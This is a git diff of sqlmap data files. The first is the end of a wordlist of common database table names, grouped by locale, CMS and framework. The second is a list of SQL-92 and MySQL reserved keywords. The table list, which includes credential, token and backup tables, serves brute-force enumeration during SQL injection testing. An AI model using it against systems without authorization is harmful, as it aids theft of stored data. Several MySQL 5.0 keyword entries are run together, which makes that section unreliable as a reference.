+gws_text
+sent_mails
+gws_jobs
+eventi
+mlattach
+downloads
+mlgroup
+decodifica_tabelle
+p0fs
+gws_client
+decodifica_campi
+dcerpcrequests
+discipline_utenti
+jos_jf_content
+
+# site:fr
+
+facture
+factures
+devis
+commande
+bon_commande
+bon_livraison
+fournisseur
+panier
+paiement
+reglement
+Avion
+departement
+Compagnie
+produits
+spip_auteurs
+BDDJoueurs_alliance
+spip_articles
+spip_syndic
+pays
+spip_auteurs_rubriques
+spip_mots_forum
+spip_signatures
+diplomatie
+spip_mots_breves
+spip_forum
+spip_auteurs_messages
+spip_documents
+spip_messages
+spip_index_dico
+spip_meta
+spip_petitions
+spip_mots_syndic
+spip_types_documents
+etudiant
+spip_groupes_mots
+spip_documents_articles
+spip_rubriques
+spip_breves
+agenda
+BDDJoueurs_colonies
+spip_mots_articles
+spip_mots
+spip_syndic_articles
+spip_auteurs_articles
+spip_mots_rubriques
+BDDJoueurs
+modulephoto
+nuke_cities
+forums
+nuke_banner_positions
+nuke_subscriptions
+nuke_downloads_categories
+nuke_journal_comments
+nuke_bbranks
+spip_documents_rubriques
+nuke_confirm
+service
+nuke_bbthemes_name
+nuke_autonews
+nuke_bbdisallow
+nuke_reviews_add
+EDITEUR
+nuke_links_newlink
+nuke_faqcategories
+etudiants
+nuke_stats_year
+nuke_bbsmilies
+spip_mots_documents
+spip_documents_breves
+nuke_bbsearch_results
+post
+nuke_users_temp
+nuke_blocks
+nuke_reviews_main
+themes
+nuke_modules
+nuke_banner_plans
+nuke_links_votedata
+spip_referers
+inscription
+BONUS
+nuke_links_editorials
+nuke_topics
+nuke_bbprivmsgs_text
+chatbox
+nuke_referer
+nuke_bbauth_access
+nuke_journal_stats
+nuke_faqanswer
+nuke_banner_terms
+message
+nuke_bbvote_voters
+nuke_pages_categories
+spip_index
+modulerubriquephoto
+spip_visites
+Role
+nuke_public_messages
+actualites
+nuke_reviews_comments
+nuke_downloads_votedata
+nuke_headlines
+nuke_downloads_editorials
+enseignant
+modulemessage
+nuke_session
+nuke_queue
+nuke_main
+nuke_bbposts
+spip_ortho_cache
+Enseignant
+nuke_downloads_newdownload
+sons
+plurielanim
+nuke_bbforums
+nuke_bbsearch_wordmatch
+nuke_bbvote_results
+nuke_stats_date
+nuke_bbwords
+nuke_bbcategories
+typecompte
+nuke_stories
+nuke_stats_month
+personne
+etablissement
+nuke_counter
+indexation
+nuke_poll_desc
+nuke_links_links
+nuke_bbtopics
+Utilisateurs
+nuke_related
+nuke_downloads_downloads
+spip_versions_fragments
+nuke_bbgroups
+nuke_bbtopics_watch
+nuke_bbuser_group
+nuke_downloads_modrequest
+spip_versions
+Joueur
+nuke_bbsessions
+nuke_links_categories
+directeur
+Etudiant
+nuke_bbposts_text
+nuked_page
+Personne
+nuke_bbbanlist
+Parametre
+nuke_pollcomments
+nuke_bbforum_prune
+nuke_pages
+nuke_links_modrequest
+nuke_stats_hour
+nuke_groups_points
+nuke_reviews
+nuke_bbthemes
+modulemailling
+agence
+nuke_encyclopedia
+nuke_bbsearch_wordlist
+nuke_message
+Equipe
+nuke_comments
+nuke_poll_check
+nuke_journal
+nuke_stories_cat
+nuke_banner
+nuke_groups
+spip_visites_articles
+nuke_encyclopedia_text
+spip_referers_articles
+nuke_bbvote_desc
+Artiste
+nuke_poll_data
+nuke_bbprivmsgs
+spip_ortho_dico
+spip_caches
+
+# site:ru
+
+spravochnik
+nomenklatura
+dokument
+zakaz
+ostatki
+kontragenty
+klient
+uslugi
+provodki
+obrabotka
+sklad
+zhurnal
+guestbook
+currency
+phpshop_opros_categories
+voting
+terms
+phpshop_categories
+banners
+phpshop_news
+phpshop_system
+phpshop_baners
+phpshop_menu
+phpshop_links
+mapdata
+setup_
+phpshop_users
+jubjub_errors
+vykachka
+phpshop_opros
+order_item
+
+# site:de
+
+tt_content
+kunde
+medien
+Mitarbeiter
+fe_users
+voraussetzen
+bestellung
+be_users
+Vorlesungen
+persons
+Assistenten
+Professoren
+Studenten
+lieferant
+mitarbeiter
+gruppe
+wp_post2cat
+phpbb_forum_prune
+crops
+mein_doc
+artikel_kategorie
+kategorien
+rel_person_paper
+tx_tcdirectmail_bounceaccount
+Akten
+skins
+riddles
+ci_slogans
+phpbb_vote_voters
+account_map_event
+roles
+stellen
+meetings
+special_category
+rel_paper_topic
+kbase_category
+attribut
+phpbb_auth_access
+zo_gruppe_stelle
+zo_kontakt_stelle
+hoeren
+shop_settings
+tutorial
+motd_coding
+artikel_variationsgruppen
+papers
+gesuche
+zahlung_weitere
+ts2_server_privileges
+artikel_variationen
+artikel_optionen
+chessgames
+portale
+products_images
+phpbb_privmsgs_text
+kurs
+KUNDE
+wp_linkcategories
+tx_tcdirectmail_targets
+tx_templavoila_datastructure
+Adresse
+bestellung_kunde
+rel_person_topic
+css_file
+visual
+account_multi
+Adressen
+phpbb_words
+phpbb_disallow
+kauf_artikel
+music_association
+phpbb_banlist
+dokumente
+greylist
+backup
+map_event
+kreditkarte
+house_extensions
+address_book
+crops_tpl
+phpbb_vote_desc
+versandkostenpreise
+pruefen
+gruppen
+vertreter
+phpbb_confirm
+verkaeufer
+be_groups
+rel_person_organization
+phpbb_privmsgs
+buecher
+kategorie
+phpbb_sessions
+phpbb_search_results
+studierende
+user_online_newyear
+hersteller
+object_link
+adresse
+address_format
+newsletter_recipients
+PERMISSIONS
+user_uploads_pictures
+festplatte
+veranstalter
+mein_doc_h
+tx_tcdirectmail_clicklinks
+phpbb_vote_results
+phpbb_topics_watch
+tx_tcdirectmail_lock
+account_map
+standort
+gd
+delete_reasons
+tx_tcdirectmail_sentlog
+valhalla
+vis_typen
+counter
+kbase_main
+music_items
+kauf
+payment_qenta
+seite_abschnitt
+trivia
+mehrwertsteuer
+massenmail
+klassen
+hilfe
+geraet
+tt_address
+dg_books
+portal_access
+orders_recalculate
+artikel_bestellung
+kontakt
+chesshistory
+notizen
+seite_layout
+virgator_table
+wp_categories
+chessmessages
+
+# site:br
+
+endereco
+pessoa
+usuarios
+estado
+pedidos
+CLIENTE
+itens
+telefone
+empresa
+PRODUTO
+categoria
+cidades
+clientes
+produtos
+municipio
+cliente
+LT_PROCEDIMENTO
+calendario
+D_US_FAVORITOS
+moradia
+pessoa_telefone
+contador
+aidf
+resumo
+add_irm
+M_ESQUEMA_PERMISSAO
+duvida
+LT_METODO_ATUALIZACAO
+M_RELATORIOS
+LT_SERIE
+estados
+LT_OBJETO
+cidade
+declaracaonf
+especieaidf
+S_SESSOES
+D_PR_HONORARIOS
+empresa_atividade
+correcaostrategy
+jos_docman_groups
+D_US_RECENTE
+notafiscal
+solicitacao
+pessoa_endereco
+atividade
+M_FATURAS
+D_PR_APENSOS
+agencia
+LT_LANCAMENTO
+D_US_AREA_DE_TRABALHO
+D_FA_ITENS
+dist_universidade
+multastrategy_faixamulta
+LT_TIPO_DE_ACAO
+D_PR_EVENTOS
+D_FA_PARCELAS
+tipodeducao
+D_PR_PARCELAMENTO
+sala
+D_US_EQUIPES_DO_USUARIO
+cidadao
+documentos
+S_GLOBAL
+M_CADASTRO_GERAL
+jos_docman_licenses
+guiaavulsa
+solicitacaosenha
+M_CUBOS
+promocoes
+grau_escolaridade
+imagens
+multastrategy
+D_PR_PARTES
+processo
+gestor
+imagem
+categorias
+LT_CLASSE_FORO
+jurosstrategy
+deducao
+S_PARAMETROS
+notafiscal_deducao
+CAIXA
+foto
+M_FERIADOS
+S_ORIGENS
+guiaavulsa_itemguiaavulsa
+situacaoitem
+notafiscal_itemnotafiscal
+cotacao
+papel
+M_EMAIL_FILA
+D_PR_OBJETOS
+dados_prefeitura
+S_LOG
+LT_FASE
+D_PR_ADVOGADOS
+M_USUARIO
+projeto
+LT_SITUACAO
+D_PR_CUSTAS
+grupoatividade
+LT_NATUREZA
+membros_familia
+instituicao
+emprestimos
+itemguiaavulsa
+D_EM_DESTINATARIO
+LT_GRUPO
+S_SEQUENCIAS
+itemnotafiscal
+disciplina
+jos_docman
+autorizacaonfe
+tipo_bolsa
+estoque
+LT_JURISDICAO
+serie
+sse_estudante
+LT_FOROS
+perfil
+despesa_familia
+noticias
+LT_GARANTIA
+M_ESQUEMA_HORARIO
+MM_NOTIFICACOES_DO_PROCESSO
+jos_jce_plugins
+grau_parentesco
+D_PR_GARANTIAS
+M_SERVICOS_PRESTADOS
+LT_CATEGORIA
+faixamulta
+encerramento
+M_PROCESSOS
+dados_familia
+MM_USUARIOS_DO_PROCESSO
+LT_ENCERRAMENTO
+LT_DECISAO
+indice
+contador_empresa
+sse_familia
+D_SE_INDICES
+cursos
+estado_civil
+dados_estudante
+LT_EQUIPES
+LT_PROGNOSTICO
+LT_EVENTO
+jos_jce_groups
+D_PR_DOCUMENTOS
+D_PR_DESDOBRAMENTOS
+logradouro
+despesa_aluno
+fiscal
+LT_CUSTOM4
+convite
+manutencao
+LT_CUSTOM1
+LT_CUSTOM2
+LT_CUSTOM3
+
+# site:es
+
+jos_respuestas
+DEPARTAMENTO
+EMPLEADO
+TRABAJA_EN
+DEPENDIENTE
+LOCALIZACIONES_DEPT
+PROYECTO
+lineas_fac
+pueblos
+NUEVOS
+CENTROS
+BANCOS
+PERSONAL
+SUCURSALES
+PRODUCTOS
+provincias
+jos_estadisticas
+USUARIO
+ALUM
+MOVIMIENTOS
+ACTOR
+nuke_gallery_rate_check
+ANTIGUOS
+CUENTAS
+vendedores
+CLIENTES
+articulos
+DEPARTAMENTOS
+PROFESORES
+jos_preguntas
+PEDIDOS
+EMPLEADOS
+nuke_gallery_pictures_newpicture
+Books
+grupo
+facturas
+aclaraciones
+preguntas
+personas
+estadisticas
+
+# site:cn
+
+yonghu
+dingdan
+shangpin
+zhanghu
+jiaoyi
+zhifu
+rizhi
+quanxian
+juese
+caidan
+xinxi
+shuju
+guanliyuan
+xitong
+peizhi
+canshu
+zidian
+url
+BlockInfo
+cdb_attachments
+cdb_buddys
+LastDate
+cdb_medals
+cdb_forumlinks
+cdb_adminnotes
+cdb_admingroups
+stkWeight
+cdb_announcements
+cdb_bbcodes
+cdb_advertisements
+cdb_memberfields
+cdb_forums
+cdb_forumfields
+cdb_favorites
+cdb_banned
+cdb_crons
+cdb_access
+cdb_invites
+sysmergeschemaarticles
+CodeRuleType
+cdb_membermagics
+cdb_imagetypes
+cdb_memberspaces
+cdb_campaigns
+pw_wordfb
+cdb_paymentlog
+cdb_adminsessions
+pw_adminset
+seen
+t_snap
+MSmerge_altsyncpartners
+zl_deeds
+pw_styles
+pw_announce
+cdb_pluginvars
+pw_smiles
+cdb_modworks
+ncat
+pw_threads
+zl_admin
+cdb_onlinetime
+cdb_mythreads
+cdb_members
+spt_datatype_info
+seentype
+zl_article
+spt_datatype_info_ext
+cdb_debateposts
+mgbliuyan
+pw_schcache
+zl_finance
+pw_banuser
+cdb_pluginhooks
+wp1_categories
+MSmerge_errorlineage
+cdb_activities
+zl_baoming
+cdb_orders
+ad_ad
+cdb_pms
+cdb_magics
+cdb_itempool
+phpcms_announce
+pw_actions
+pw_msg
+cdb_debates
+cdb_magiclog
+pw_forums
+cdb_polls
+t_stat
+pw_attachs
+cdb_plugins
+pw_membercredit
+cdb_posts
+cdb_activityapplies
+zl_media
+acctmanager
+pw_usergroups
+cdb_faqs
+cdb_onlinelist
+pw_hack
+Market
+MSrepl_identity_range
+pw_favors
+pw_config
+pw_credits
+cdb_failedlogins
+pw_posts
+cdb_attachpaymentlog
+cdb_myposts
+cdb_polloptions
+wp1_comments
+cdb_caches
+pw_members
+spt_provider_types
+pw_sharelinks
+pw_tmsgs
+pw_polls
+cdb_moderators
+pw_bbsinfo
+aliasregex
+userfiles
+acctmanager2
+cdb_pmsearchindex
+cdb_forumrecommend
+publishers
+zl_advertisement
+guanggaotp
+pw_memberinfo
+aliastype
+
+# site:tr
+
+kullanici
+kullanicilar
+yonetici
+yoneticiler
+adres
+adresler
+yayincilar
+yayinci
+urun
+urunler
+kategori
+kategoriler
+ulke
+ulkeler
+siparis
+siparisler
+bayi
+bayiler
+stok
+reklam
+reklamlar
+site
+siteler
+sayfa
+sayfalar
+icerik
+icerikler
+yazi
+yazilar
+genel
+istatistik
+istatistikler
+duyuru
+duyurular
+haber
+haberler
+komisyon
+ucret
+ucretler
+bilgi
+basvuru
+basvurular
+kontak
+kontaklar
+kisi
+kisiler
+uye
+uyeler
+kayıt
+kayıtlar
+tel
+telefon
+telefonlar
+numaralar
+numara
+kart
+kartlar
+kredi
+krediler
+kredikartı
+fiyat
+fiyatlar
+odeme
+odemeler
+kategoriler
+tbl_Uye
+xml_kategoriler
+tbl_siparis
+tbl_googlemap
+tbl_ilce
+tbl_yardim
+tbl_Resim
+tbl_anket
+tbl_Rapor
+tbl_statsvisit
+tbl_ticket
+tbl_Cesit
+tbl_xml
+tbl_Cinsiyet
+xml_urunler_temp
+tbl_takvim
+tbl_altkategori
+tbl_mesaj
+tbl_Haber
+tbl_AdresTemp
+tbl_Firma
+tbl_Medya
+xml_urunlerbirim
+tbl_Yardim
+tbl_medya
+tbl_Video
+xml_markalar_transfer
+tbl_adrestemp
+tbl_online
+tbl_sehir
+tbl_resim
+tbl_Gorsel
+tbl_doviz
+tbl_gorsel
+tbl_kampanya
+tbl_Blog
+tbl_Banners
+tbl_koleksiyon
+tbl_Galeri
+tbl_Kampanya
+tbl_Favori
+tbl_sss
+tbl_Banner
+tbl_Faq
+xml_markalar_temp
+tbl_faq
+tbl_Personel
+tbl_Seo
+tbl_adres
+tbl_ayar
+tbl_metin
+tbl_AltKategori
+tbl_kategori
+tbl_Marka
+tbl_blogkategori
+tbl_ulke
+tbl_sepetold
+tbl_yorum
+tbl_Fiyat
+tbl_Reklam
+tbl_Kategori
+tbl_Yorum
+tbl_semt
+tbl_Tedarikci
+xml_kampanyakategori
+tbl_ozelgun
+tbl_uyexml
+tbl_rapor
+tbl_seo
+tbl_Indirim
+tbl_Ilce
+tbl_bulten
+tbl_video
+tbl_Ayar
+tbl_fatura
+tbl_cinsiyet
+tbl_reklam
+tbl_sliders
+tbl_KDV
+tbl_uye_img
+tbl_siparisid
+tbl_BlogKategori
+tbl_Yonetici
+tbl_kdv
+tbl_Online
+tbl_temsilci
+tbl_Dil
+tbl_banners
+tbl_Mesaj
+tbl_Logs
+tbl_logs
+tbl_fiyat
+tbl_SSS
+tbl_Puan
+tbl_kargo
+tbl_Statsvisit
+tbl_Koleksiyon
+tbl_dil
+tbl_Sepetold
+tbl_Fatura
+tbl_yonetici
+tbl_Yazilar
+tbl_Temsilci
+tbl_Kargo
+tbl_cesit
+tbl_uye
+tbl_haber
+tbl_SiparisID
+tbl_Adres
+tbl_Ozelgun
+tbl_banka
+tbl_Videogaleri
+tbl_galeri
+tbl_videogaleri
+xml_urunresimleri
+tbl_urun
+tbl_Ticket
+tbl_yazilar
+tbl_Ulke
+tbl_Urun
+tbl_renk
+tbl_Harita
+tbl_Sepet
+tbl_Sehir
+tbl_Uye_Img
+tbl_Semt
+tbl_indirim
+xml_kampanyakategori_transfer
+tbl_Takvim
+tbl_blog
+tbl_Sliders
+tbl_Renk
+tbl_UyeXML
+tbl_tedarikci
+tbl_Fotogaleri
+tbl_Doviz
+tbl_Anket
+tbl_Banka
+tbl_Metin
+tbl_XML
+tbl_firma
+tbl_harita
+tbl_banner
+tbl_sepet
+tbl_fotogaleri
+tbl_marka
+tbl_Siparis
+tbl_personel
+tbl_puan
+tbl_Bulten
+tbl_favori
+tbl_onlineusers
+
+
+
+# List provided by Pedrito Perez (0ark1ang3l@gmail.com)
+
+adminstbl
+admintbl
+affiliateUsers
+hsa_user
+tblmanager
+tblmanagers
+tblproduct
+tblproducts
+tuser
+tusers
+userstbl
+usertbl
+
+# WebGoat
+
+user_data
+
+# https://laurent22.github.io/so-injections/
+
+accounts
+admin
+baza_site
+benutzer
+category
+comments
+company
+credentials
+Customer
+customers
+data
+details
+dhruv_users
+dt_tb
+employees
+events
+forsale
+friends
+giorni
+images
+info
+items
+kontabankowe
+login
+logs
+markers
+members
+messages
+orders
+order_table
+photos
+player
+players
+points
+register
+reports
+rooms
+shells
+signup
+songs
+student
+students
+table
+table2
+tbl_images
+tblproduct
+testv2
+tickets
+topicinfo
+trabajo
+user
+user_auth
+userinfo
+user_info
+userregister
+users
+usuarios
+utenti
+wm_products
+wp_payout_history
+zamowienia
+
+# https://deliciousbrains.com/tour-wordpress-database/
+
+wp_blogmeta
+wp_blogs
+wp_blog_versions
+wp_commentmeta
+wp_comments
+wp_links
+wp_options
+wp_postmeta
+wp_posts
+wp_registration_log
+wp_signups
+wp_site
+wp_sitemeta
+wp_termmeta
+wp_term_relationships
+wp_terms
+wp_term_taxonomy
+wp_usermeta
+wp_users
+
+# https://docs.joomla.org/Tables
+
+assets
+bannerclient
+banner
+bannertrack
+categories
+components
+contact_details
+content_frontpage
+content_rating
+content
+core_acl_aro_groups
+core_acl_aro_map
+core_acl_aro_sections
+core_acl_aro
+core_acl_groups_aro_map
+core_log_items
+core_log_searches
+extensions
+groups
+languages
+menu
+menu_types
+messages_cfg
+messages
+migration_backlinks
+modules_menu
+modules
+newsfeeds
+plugins
+poll_data
+poll_date
+poll_menu
+polls
+redirect_links
+Schemas
+sections
+session
+stats_agents
+templates_menu
+template_styles
+update_categories
+update_sites_extensions
+update_sites
+updates
+usergroups
+user_profiles
+users
+user_usergroup_map
+viewlevels
+weblinks
+
+# site:nl
+
+gebruikers
+
+# asp.net
+
+AspNetUsers
+AspNetRoles
+AspNetUserRoles
+AspNetUserClaims
+AspNetUserLogins
+AspNetRoleClaims
+AspNetUserTokens
+__EFMigrationsHistory
+
+# django
+
+auth_user
+auth_group
+auth_permission
+django_session
+django_migrations
+django_content_type
+django_admin_log
+
+# laravel
+
+migrations
+password_resets
+failed_jobs
+personal_access_tokens
+job_batches
+model_has_roles
+model_has_permissions
+role_has_permissions
+
+# rails
+
+schema_migrations
+ar_internal_metadata
+active_storage_blobs
+active_storage_attachments
+
+# misc.
+
+flyway_schema_history
+databasechangelog
+databasechangeloglock
+alembic_version
+knex_migrations
+knex_migrations_lock
+doctrine_migration_versions
+api_keys
+api_tokens
+access_tokens
+refresh_tokens
+oauth_clients
+oauth_access_tokens
+oauth_refresh_tokens
+webhooks
+webhook_events
+secrets
+credentials
+audit_logs
+activity_logs
+system_settings
+feature_flags
+tenants
+subscriptions
+users_bak
+users_old
+orders_backup
diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt
new file mode 100644
index 00000000000..36d2773ef44
--- /dev/null
+++ b/data/txt/keywords.txt
@@ -0,0 +1,1635 @@
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+# See the file 'LICENSE' for copying permission
+
+# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
+
+ABSOLUTE
+ACTION
+ADD
+ALL
+ALLOCATE
+ALTER
+AND
+ANY
+ARE
+AS
+ASC
+ASSERTION
+AT
+AUTHORIZATION
+AVG
+BEGIN
+BETWEEN
+BIT
+BIT_LENGTH
+BOTH
+BY
+CALL
+CASCADE
+CASCADED
+CASE
+CAST
+CATALOG
+CHAR
+CHAR_LENGTH
+CHARACTER
+CHARACTER_LENGTH
+CHECK
+CLOSE
+COALESCE
+COLLATE
+COLLATION
+COLUMN
+COMMIT
+CONDITION
+CONNECT
+CONNECTION
+CONSTRAINT
+CONSTRAINTS
+CONTAINS
+CONTINUE
+CONVERT
+CORRESPONDING
+COUNT
+CREATE
+CROSS
+CURRENT
+CURRENT_DATE
+CURRENT_PATH
+CURRENT_TIME
+CURRENT_TIMESTAMP
+CURRENT_USER
+CURSOR
+DATE
+DAY
+DEALLOCATE
+DEC
+DECIMAL
+DECLARE
+DEFAULT
+DEFERRABLE
+DEFERRED
+DELETE
+DESC
+DESCRIBE
+DESCRIPTOR
+DETERMINISTIC
+DIAGNOSTICS
+DISCONNECT
+DISTINCT
+DO
+DOMAIN
+DOUBLE
+DROP
+ELSE
+ELSEIF
+END
+ESCAPE
+EXCEPT
+EXCEPTION
+EXEC
+EXECUTE
+EXISTS
+EXIT
+EXTERNAL
+EXTRACT
+FALSE
+FETCH
+FIRST
+FLOAT
+FOR
+FOREIGN
+FOUND
+FROM
+FULL
+FUNCTION
+GET
+GLOBAL
+GO
+GOTO
+GRANT
+GROUP
+HANDLER
+HAVING
+HOUR
+IDENTITY
+IF
+IMMEDIATE
+IN
+INDICATOR
+INITIALLY
+INNER
+INOUT
+INPUT
+INSENSITIVE
+INSERT
+INT
+INTEGER
+INTERSECT
+INTERVAL
+INTO
+IS
+ISOLATION
+JOIN
+KEY
+LANGUAGE
+LAST
+LEADING
+LEAVE
+LEFT
+LEVEL
+LIKE
+LOCAL
+LOOP
+LOWER
+MATCH
+MAX
+MIN
+MINUTE
+MODULE
+MONTH
+NAMES
+NATIONAL
+NATURAL
+NCHAR
+NEXT
+NO
+NOT
+NULL
+NULLIF
+NUMERIC
+OCTET_LENGTH
+OF
+ON
+ONLY
+OPEN
+OPTION
+OR
+ORDER
+OUT
+OUTER
+OUTPUT
+OVERLAPS
+PAD
+PARAMETER
+PARTIAL
+PATH
+POSITION
+PRECISION
+PREPARE
+PRESERVE
+PRIMARY
+PRIOR
+PRIVILEGES
+PROCEDURE
+READ
+REAL
+REFERENCES
+RELATIVE
+REPEAT
+RESIGNAL
+RESTRICT
+RETURN
+RETURNS
+REVOKE
+RIGHT
+ROLLBACK
+ROUTINE
+ROWS
+SCHEMA
+SCROLL
+SECOND
+SECTION
+SELECT
+SESSION
+SESSION_USER
+SET
+SIGNAL
+SIZE
+SMALLINT
+SOME
+SPACE
+SPECIFIC
+SQL
+SQLCODE
+SQLERROR
+SQLEXCEPTION
+SQLSTATE
+SQLWARNING
+SUBSTRING
+SUM
+SYSTEM_USER
+TABLE
+TEMPORARY
+THEN
+TIME
+TIMESTAMP
+TIMEZONE_HOUR
+TIMEZONE_MINUTE
+TO
+TRAILING
+TRANSACTION
+TRANSLATE
+TRANSLATION
+TRIM
+TRUE
+UNDO
+UNION
+UNIQUE
+UNKNOWN
+UNTIL
+UPDATE
+UPPER
+USAGE
+USER
+USING
+VALUE
+VALUES
+VARCHAR
+VARYING
+VIEW
+WHEN
+WHENEVER
+WHERE
+WHILE
+WITH
+WORK
+WRITE
+YEAR
+ZONE
+
+# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
+
+ADD
+ALL
+ALTER
+ANALYZE
+AND
+ASASC
+ASENSITIVE
+BEFORE
+BETWEEN
+BIGINT
+BINARYBLOB
+BOTH
+BY
+CALL
+CASCADE
+CASECHANGE
+CAST
+CHAR
+CHARACTER
+CHECK
+COLLATE
+COLUMN
+CONCAT
+CONDITIONCONSTRAINT
+CONTINUE
+CONVERT
+CREATE
+CROSS
+CURRENT_DATE
+CURRENT_TIMECURRENT_TIMESTAMP
+CURRENT_USER
+CURSOR
+DATABASE
+DATABASES
+DAY_HOUR
+DAY_MICROSECONDDAY_MINUTE
+DAY_SECOND
+DEC
+DECIMAL
+DECLARE
+DEFAULTDELAYED
+DELETE
+DESC
+DESCRIBE
+DETERMINISTIC
+DISTINCTDISTINCTROW
+DIV
+DOUBLE
+DROP
+DUAL
+EACH
+ELSEELSEIF
+ENCLOSED
+ESCAPED
+EXISTS
+EXIT
+EXPLAIN
+FALSEFETCH
+FLOAT
+FLOAT4
+FLOAT8
+FOR
+FORCE
+FOREIGNFROM
+FULLTEXT
+GRANT
+GROUP
+HAVING
+HIGH_PRIORITYHOUR_MICROSECOND
+HOUR_MINUTE
+HOUR_SECOND
+IF
+IFNULL
+IGNORE
+ININDEX
+INFILE
+INNER
+INOUT
+INSENSITIVE
+INSERT
+INTINT1
+INT2
+INT3
+INT4
+INT8
+INTEGER
+INTERVALINTO
+IS
+ISNULL
+ITERATE
+JOIN
+KEY
+KEYS
+KILLLEADING
+LEAVE
+LEFT
+LIKE
+LIMIT
+LINESLOAD
+LOCALTIME
+LOCALTIMESTAMP
+LOCK
+LONG
+LONGBLOBLONGTEXT
+LOOP
+LOW_PRIORITY
+MATCH
+MEDIUMBLOB
+MEDIUMINT
+MEDIUMTEXTMIDDLEINT
+MINUTE_MICROSECOND
+MINUTE_SECOND
+MOD
+MODIFIES
+NATURAL
+NOTNO_WRITE_TO_BINLOG
+NULL
+NUMERIC
+ON
+OPTIMIZE
+OPTION
+OPTIONALLYOR
+ORDER
+OUT
+OUTER
+OUTFILE
+PRECISIONPRIMARY
+PROCEDURE
+PURGE
+READ
+READS
+REALREFERENCES
+REGEXP
+RELEASE
+RENAME
+REPEAT
+REPLACE
+REQUIRERESTRICT
+RETURN
+REVOKE
+RIGHT
+RLIKE
+SCHEMA
+SCHEMASSECOND_MICROSECOND
+SELECT
+SENSITIVE
+SEPARATOR
+SET
+SHOW
+SMALLINTSONAME
+SPATIAL
+SPECIFIC
+SQL
+SQLEXCEPTION
+SQLSTATESQLWARNING
+SQL_BIG_RESULT
+SQL_CALC_FOUND_ROWS
+SQL_SMALL_RESULT
+SSL
+STARTINGSTRAIGHT_JOIN
+TABLE
+TERMINATED
+THEN
+TINYBLOB
+TINYINT
+TINYTEXTTO
+TRAILING
+TRIGGER
+TRUE
+UNDO
+UNION
+UNIQUEUNLOCK
+UNSIGNED
+UPDATE
+USAGE
+USE
+USING
+UTC_DATEUTC_TIME
+UTC_TIMESTAMP
+VALUES
+VARBINARY
+VARCHAR
+VARCHARACTERVARYING
+VERSION
+WHEN
+WHERE
+WHILE
+WITH
+WRITEXOR
+YEAR_MONTH
+ZEROFILL
+
+# MySQL 8.0 keywords (reference: https://dev.mysql.com/doc/refman/8.0/en/keywords.html)
+
+ACCESSIBLE
+ACCOUNT
+ACTION
+ACTIVE
+ADD
+ADMIN
+AFTER
+AGAINST
+AGGREGATE
+ALGORITHM
+ALL
+ALTER
+ALWAYS
+ANALYSE
+ANALYZE
+AND
+ANY
+ARRAY
+AS
+ASC
+ASCII
+ASENSITIVE
+AT
+ATTRIBUTE
+AUTHENTICATION
+AUTOEXTEND_SIZE
+AUTO_INCREMENT
+AVG
+AVG_ROW_LENGTH
+BACKUP
+BEFORE
+BEGIN
+BETWEEN
+BIGINT
+BINARY
+BINLOG
+BIT
+BLOB
+BLOCK
+BOOL
+BOOLEAN
+BOTH
+BTREE
+BUCKETS
+BULK
+BY
+BYTE
+CACHE
+CALL
+CASCADE
+CASCADED
+CASE
+CATALOG_NAME
+CHAIN
+CHALLENGE_RESPONSE
+CHANGE
+CHANGED
+CHANNEL
+CHAR
+CHARACTER
+CHARSET
+CHECK
+CHECKSUM
+CIPHER
+CLASS_ORIGIN
+CLIENT
+CLONE
+CLOSE
+COALESCE
+CODE
+COLLATE
+COLLATION
+COLUMN
+COLUMNS
+COLUMN_FORMAT
+COLUMN_NAME
+COMMENT
+COMMIT
+COMMITTED
+COMPACT
+COMPLETION
+COMPONENT
+COMPRESSED
+COMPRESSION
+CONCURRENT
+CONDITION
+CONNECTION
+CONSISTENT
+CONSTRAINT
+CONSTRAINT_CATALOG
+CONSTRAINT_NAME
+CONSTRAINT_SCHEMA
+CONTAINS
+CONTEXT
+CONTINUE
+CONVERT
+CPU
+CREATE
+CROSS
+CUBE
+CUME_DIST
+CURRENT
+CURRENT_DATE
+CURRENT_TIME
+CURRENT_TIMESTAMP
+CURRENT_USER
+CURSOR
+CURSOR_NAME
+DATA
+DATABASE
+DATABASES
+DATAFILE
+DATE
+DATETIME
+DAY
+DAY_HOUR
+DAY_MICROSECOND
+DAY_MINUTE
+DAY_SECOND
+DEALLOCATE
+DEC
+DECIMAL
+DECLARE
+DEFAULT
+DEFAULT_AUTH
+DEFINER
+DEFINITION
+DELAYED
+DELAY_KEY_WRITE
+DELETE
+DENSE_RANK
+DESC
+DESCRIBE
+DESCRIPTION
+DES_KEY_FILE
+DETERMINISTIC
+DIAGNOSTICS
+DIRECTORY
+DISABLE
+DISCARD
+DISK
+DISTINCT
+DISTINCTROW
+DIV
+DO
+DOUBLE
+DROP
+DUAL
+DUMPFILE
+DUPLICATE
+DYNAMIC
+EACH
+ELSE
+ELSEIF
+EMPTY
+ENABLE
+ENCLOSED
+ENCRYPTION
+END
+ENDS
+ENFORCED
+ENGINE
+ENGINES
+ENGINE_ATTRIBUTE
+ENUM
+ERROR
+ERRORS
+ESCAPE
+ESCAPED
+EVENT
+EVENTS
+EVERY
+EXCEPT
+EXCHANGE
+EXCLUDE
+EXECUTE
+EXISTS
+EXIT
+EXPANSION
+EXPIRE
+EXPLAIN
+EXPORT
+EXTENDED
+EXTENT_SIZE
+FACTOR
+FAILED_LOGIN_ATTEMPTS
+FALSE
+FAST
+FAULTS
+FETCH
+FIELDS
+FILE
+FILE_BLOCK_SIZE
+FILTER
+FINISH
+FIRST
+FIRST_VALUE
+FIXED
+FLOAT
+FLOAT4
+FLOAT8
+FLUSH
+FOLLOWING
+FOLLOWS
+FOR
+FORCE
+FOREIGN
+FORMAT
+FOUND
+FROM
+FULL
+FULLTEXT
+FUNCTION
+GENERAL
+GENERATE
+GENERATED
+GEOMCOLLECTION
+GEOMETRY
+GEOMETRYCOLLECTION
+GET
+GET_FORMAT
+GET_MASTER_PUBLIC_KEY
+GET_SOURCE_PUBLIC_KEY
+GLOBAL
+GRANT
+GRANTS
+GROUP
+GROUPING
+GROUPS
+GROUP_REPLICATION
+GTID_ONLY
+HANDLER
+HASH
+HAVING
+HELP
+HIGH_PRIORITY
+HISTOGRAM
+HISTORY
+HOST
+HOSTS
+HOUR
+HOUR_MICROSECOND
+HOUR_MINUTE
+HOUR_SECOND
+IDENTIFIED
+IF
+IGNORE
+IGNORE_SERVER_IDS
+IMPORT
+IN
+INACTIVE
+INDEX
+INDEXES
+INFILE
+INITIAL
